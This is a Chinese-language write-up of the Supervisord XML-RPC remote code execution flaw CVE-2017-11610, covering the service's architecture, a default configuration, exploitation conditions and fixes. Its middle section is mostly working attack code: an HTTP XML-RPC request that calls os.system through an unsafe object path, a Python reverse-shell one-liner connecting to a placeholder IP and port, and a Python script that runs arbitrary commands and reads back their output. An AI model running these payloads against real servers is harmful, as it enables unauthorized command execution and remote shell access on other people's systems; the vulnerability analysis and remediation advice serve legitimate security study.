參考
https://www.leavesongs.com/PENETRATION/supervisord-RCE-CVE-2017-11610.html
Supervisord
Supervisord是一款Python開發,用於管理后台應用(服務)的工具,其角色類似於Linux自帶的Systemd。
Supervisord的架構分為Server和Client,Server以一個服務的形式,跑在系統后台,而Client是一個命令行工具,其實就是根據用戶的要求,調用Server提供的API,執行一些工作。
[unix_http_server]
file=/tmp/supervisor.sock ; the path to the socket file
;chmod=0700 ; socket file mode (default 0700)
;chown=nobody:nogroup ; socket file uid:gid owner
;username=user ; default is no username (open server)
;password=123 ; default is no password (open server)
;[inet_http_server] ; inet (TCP) server disabled by default
;port=127.0.0.1:9001 ; ip_address:port specifier, *:port for all iface
;username=user ; default is no username (open server)
;password=123 ; default is no password (open server)
[supervisorctl]
serverurl=unix:///tmp/supervisor.sock ; use a unix:// URL for a unix socket
;serverurl=http://127.0.0.1:9001 ; use an http:// url to specify an inet socket
;username=chris ; should be same as in [*_http_server] if set
;password=123 ; should be same as in [*_http_server] if set
;prompt=mysupervisor ; cmd line prompt (default "supervisor")
;history_file=~/.sc_history ; use readline history if available
另外,如果我設置了[inet_http_server]段,即可將Supervisord監聽在TCP端口上,這樣外部其他程序也能進行調用。我們可以直接將默認配置文件中這一段前面的分號去掉,就默認監聽在9001端口上了。
漏洞復現
CVE-2017-11610的本質是一個不安全的對象引用+方法調用,十分類似Java中的反序列化漏洞。
Supervisord的控制實際上就是一個C/S以RPC協議的通信的過程,而RPC協議(遠程過程調用協議),顧名思義就是C端通過RPC協議可以在S端執行某個函數,並得到返回結果。那么,如果C端執行了S端預料之外的函數(如os.system),那么就會導致漏洞的產生。
一個安全的RPC協議,會有一個函數名的映射,也就是說C端只能調用在白名單之中的部分函數,並且這個“函數”只是真正函數的一個映射。
POC:
POST /RPC2 HTTP/1.1
Host: localhost
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 275
<?xml version="1.0"?>
<methodCall>
<methodName>supervisor.supervisord.options.warnings.linecache.os.system</methodName>
<params>
<param>
<string>touch /tmp/success</string>
</param>
</params>
</methodCall>
python shell
python -c "import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('ip',port));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i']);"
@Ricter 師傅思路:將命令執行的結果寫入log文件中,再調用Supervisord自帶的readLog方法讀取log文件,將結果讀出來。
直接回顯POC:
#!/usr/bin/env python3
import xmlrpc.client
import sys
target = sys.argv[1]
command = sys.argv[2]
with xmlrpc.client.ServerProxy(target) as proxy:
old = getattr(proxy, 'supervisor.readLog')(0,0)
logfile = getattr(proxy, 'supervisor.supervisord.options.logfile.strip')()
getattr(proxy, 'supervisor.supervisord.options.warnings.linecache.os.system')('{} | tee -a {}'.format(command, logfile))
result = getattr(proxy, 'supervisor.readLog')(0,0)
print(result[len(old):])
使用Python3執行並獲取結果:
./poc.py "http://your-ip:9001/RPC2" "command":
漏洞影響及修復
利用這個漏洞,一般有幾個條件:
- Supervisord版本在受影響的范圍內
- RPC端口可被訪問
- RPC無密碼或密碼脆弱
第二個條件其實不太容易達到。默認安裝的Supervisord,是只監聽unix套接字的,所以外部IP根本無法訪問。
另外,如果你已經拿到了一台機器的低權限,想訪問本地的unix套接字,利用該漏洞提權,也是不現實的:原因是supervisord.sock文件權限默認是0700,其他用戶無法訪問,能夠訪問的用戶權限和它是一樣的,也就不存在提權的說法了。
當然,運維不小心將RPC端口開放了,並且使用了默認密碼或沒有設置密碼,那么借助這個漏洞進行攻擊,也是很不錯的。
修復:
- 升級Supervisord
- 端口訪問控制
- 設置復雜RPC密碼